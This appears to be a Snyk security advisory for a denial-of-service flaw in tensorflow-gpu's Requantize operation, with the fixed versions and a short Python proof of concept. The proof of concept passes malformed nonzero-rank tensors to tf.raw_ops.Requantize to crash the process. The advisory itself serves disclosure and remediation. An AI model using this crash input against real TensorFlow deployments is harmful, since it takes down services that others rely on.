Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Input Validation vulnerabilities in an interactive lesson.
Start learningUpgrade tensorflow-gpu
to version 2.7.2, 2.8.1, 2.9.1 or higher.
tensorflow-gpu is a machine learning framework.
Affected versions of this package are vulnerable to Improper Input Validation when Requantize
is given input_min
, input_max
, requested_output_min
, requested_output_max
tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)